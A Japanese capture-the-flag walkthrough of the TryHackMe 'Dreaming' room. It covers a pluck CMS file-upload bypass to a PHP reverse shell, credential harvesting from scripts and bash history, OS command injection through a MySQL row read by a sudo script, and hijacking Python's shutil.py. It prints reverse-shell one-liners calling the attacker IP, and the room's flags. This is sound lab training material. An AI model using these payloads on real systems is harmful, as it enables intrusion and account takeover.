【TryHackMe】Dreaming：Walkthrough

# 概要

TryHackMe「Dreaming」のWalkthroughです。

https://tryhackme.com/r/room/dreaming

# Task1

## **Q1**.*What is the Lucien Flag?*

ポートスキャンを実行します。

```
$ nmap -Pn -T4 -sVC -A --min-rate 5000 -p- 10.10.176.144 -oN nmap_result
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 76:26:67:a6:b0:08:0e:ed:34:58:5b:4e:77:45:92:57 (RSA)
|   256 52:3a:ad:26:7f:6e:3f:23:f9:e4:ef:e8:5a:c8:42:5c (ECDSA)
|_  256 71:df:6e:81:f0:80:79:71:a8:da:2e:1e:56:c4:de:bb (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
```

ポートの稼働状況が分かりました。

|ポート|サービス|バージョン|
|:-:|:-:|:-:|
|22|ssh|OpenSSH 8.2p1|
|80|http|Apache/2.4.41|

`80`番ポートのディレクトリスキャンをします。

```
$ dirsearch -u http://10.10.176.144
[12:46:19] 301 -  312B  - /app  ->  http://10.10.176.144/app/
[12:46:19] 200 -  452B  - /app/
```

`/app`にアクセスすると`pluck-4.7.13`が分かりました。

![app version.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/cf2cb9de-4833-13f7-fd9b-5321434c674f.jpeg)

https://github.com/pluck-cms/pluck

脆弱性を探すと`CVE-2020-29607`が見つかり、ファイルアップロード機能を利用してRCE出来そうです。
ファイルアップロードには認証が必要になっています。

https://www.exploit-db.com/exploits/49909

`/app/pluck-4.7.13/login.php`にアクセスし、`Password: password`で認証を試みるとログインに成功しました。

![login panel.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/1fd85eed-cbaf-a042-02f8-9bd49b68d810.jpeg)

`/app/pluck-4.7.13/admin.php?action=files`からリバースシェルファイルをアップロードします。

![file upload.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/7abd648e-b834-a1fb-c826-883fa549e524.jpeg)

`.php`でファイルをアップロードすると`.txt`になりますが、拡張子を`.phar`にすることでバイパスできます。

![file upload.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/f30f1a41-9522-3987-f1e6-85bf645c6a95.jpeg)

Netcatでリッスンし、`/app/pluck-4.7.13/files/php-reverse-shell.phar`にアクセスすると、シェルを張れました。

```
$ nc -lvnp 1234                                                         
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.176.144] 60674
Linux dreaming 5.4.0-155-generic #172-Ubuntu SMP Fri Jul 7 16:10:02 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
 17:04:22 up 25 min,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
```

`/opt/test.py`から`lucien`のパスワード`HeyLucien#@1999!`を得られました。

```/opt/test.py
import requests

#Todo add myself as a user
url = "http://127.0.0.1/app/pluck-4.7.13/login.php"
password = "HeyLucien#@1999!"

data = {
        "cont1":password,
        "bogus":"",
        "submit":"Log+in"
        }

req = requests.post(url,data=data)

if "Password correct." in req.text:
    print("Everything is in proper order. Status Code: " + str(req.status_code))
else:
    print("Something is wrong. Status Code: " + str(req.status_code))
    print("Results:\n" + req.text)
```

`lucien`にログインし、`/home/lucien/lucien_flag.txt`からフラグを入手できます。

```
$ su lucien
su lucien
Password: HeyLucien#@1999!

lucien@dreaming:/home$
```

```/home/lucien/lucien_flag.txt
THM{TH3_L1BR4R14N}
```

**A**.**THM{TH3_L1BR4R14N}**

## **Q2**.*What is the Death Flag?*

`sudo -l`で確認します。

```
$ sudo -l
Matching Defaults entries for lucien on dreaming:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User lucien may run the following commands on dreaming:
    (death) NOPASSWD: /usr/bin/python3 /home/death/getDreams.py
```

`/opt/getDreams.py`からコードの内容を確認できました。
DBから取り出した値を`subprocess`で実行しているのでOSコマンドインジェクションが出来そうです。

```/opt/getDreams.py 
import mysql.connector
import subprocess

# MySQL credentials
DB_USER = "death"
DB_PASS = "#redacted"
DB_NAME = "library"

import mysql.connector
import subprocess

def getDreams():
    try:
        # Connect to the MySQL database
        connection = mysql.connector.connect(
            host="localhost",
            user=DB_USER,
            password=DB_PASS,
            database=DB_NAME
        )

        # Create a cursor object to execute SQL queries
        cursor = connection.cursor()

        # Construct the MySQL query to fetch dreamer and dream columns from dreams table
        query = "SELECT dreamer, dream FROM dreams;"

        # Execute the query
        cursor.execute(query)

        # Fetch all the dreamer and dream information
        dreams_info = cursor.fetchall()

        if not dreams_info:
            print("No dreams found in the database.")
        else:
            # Loop through the results and echo the information using subprocess
            for dream_info in dreams_info:
                dreamer, dream = dream_info
                command = f"echo {dreamer} + {dream}"
                shell = subprocess.check_output(command, text=True, shell=True)
                print(shell)

    except mysql.connector.Error as error:
        # Handle any errors that might occur during the database connection or query execution
        print(f"Error: {error}")

    finally:
        # Close the cursor and connection
        cursor.close()
        connection.close()

# Call the function to echo the dreamer and dream information
getDreams()
```

`/home/lucien/.bash_history`からDBの認証情報を得られました。
`Username: lucien`,`Password: lucien42DBPASSWORD`。

```
$ cat .bash_history
mysql -u lucien -plucien42DBPASSWORD
```

ログインし、`dreams`DBの値を確認できました。

```
mysql> select * from dreams;
+---------+------------------------------------+
| dreamer | dream                              |
+---------+------------------------------------+
| Alice   | Flying in the sky                  |
| Bob     | Exploring ancient ruins            |
| Carol   | Becoming a successful entrepreneur |
| Dave    | Becoming a professional musician   |
+---------+------------------------------------+
```

試しに`/home/death/getDreams.py`を実行してみると、`echo`コマンドが出力されています。

```
$ sudo -u death /usr/bin/python3 /home/death/getDreams.py 
Alice + Flying in the sky

Bob + Exploring ancient ruins

Carol + Becoming a successful entrepreneur

Dave + Becoming a professional musician
```

OSコマンドインジェクションが発火するペイロードを、試しに追加しました。

```
mysql> select * from dreams;
+---------+------------------------------------+
| dreamer | dream                              |
+---------+------------------------------------+
| Alice   | Flying in the sky                  |
| Bob     | Exploring ancient ruins            |
| Carol   | Becoming a successful entrepreneur |
| Dave    | Becoming a professional musician   |
| hack    | ; id                               |
+---------+------------------------------------+
```

実行してみるとインジェクションに成功しました。

```
$ sudo -u death /usr/bin/python3 /home/death/getDreams.py
Alice + Flying in the sky

Bob + Exploring ancient ruins

Carol + Becoming a successful entrepreneur

Dave + Becoming a professional musician

hack +
uid=1001(death) gid=1001(death) groups=1001(death)
```

リバーシェルペイロードを挿入します。

```
| shell   | ; bash -c 'bash -i >& /dev/tcp/10.6.55.144/12345 0>&1' |
+---------+--------------------------------------------------------+
```

Netcatでリッスンし、`/home/death/getDreams.py`を実行すると`death`アカウントのシェルを取得できました。

```
$ sudo -u death /usr/bin/python3 /home/death/getDreams.py
```

```
$ nc -lvnp 12345
listening on [any] 12345 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.176.144] 38382
death@dreaming:/home/lucien$ whoami
whoami
death
```

`/home/death/death_flag.txt`からフラグを入手できます。

```/home/death/death_flag.txt
THM{1M_TH3R3_4_TH3M}
```

**A**.**THM{1M_TH3R3_4_TH3M}**

## **Q3**.*What is the Morpheus Flag?*

`pspy`でプロセスを列挙します。

```
$ ./pspy32
2024/10/17 18:02:01 CMD: UID=1002  PID=66671  | /bin/sh -c /usr/bin/python3.8 /home/morpheus/restore.py
```

`/home/morpheus/restore.py`を`morpheus`が実行しているのでコードを確認します。

```/home/morpheus/restore.py
from shutil import copy2 as backup

src_file = "/home/morpheus/kingdom"
dst_file = "/kingdom_backup/kingdom"

backup(src_file, dst_file)
print("The kingdom backup has been done!")
```

`shutil`モジュールの`copy2`関数をインポートしています。
`/usr/lib/python3.8/shutil.py`の権限を確認すると`death`アカウントで書き込み権限があります。

```
$ ls -la /usr/lib/python3.8/shutil.py 
-rw-rw-r-- 1 root death 51474 Aug  7  2023 /usr/lib/python3.8/shutil.py
```

`copy2`関数にリバースシェルのペイロードを追記します。

```
def copy2(src, dst, *, follow_symlinks=True):
    os.system("bash -c 'bash -i >& /dev/tcp/10.6.55.144/7777 0>&1'")
```

Netcatでリッスンしているとリバースシェルを張れました。

```
$ nc -lvnp 7777
listening on [any] 7777 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.176.144] 45466
bash: cannot set terminal process group (66815): Inappropriate ioctl for device
bash: no job control in this shell
morpheus@dreaming:~$ whoami
whoami
morpheus
```

`/home/morpheus/morpheus_flag.txt`からフラグを入手できます。

```/home/morpheus/morpheus_flag.txt
THM{DR34MS_5H4P3_TH3_W0RLD}
```

**A**.**THM{DR34MS_5H4P3_TH3_W0RLD}**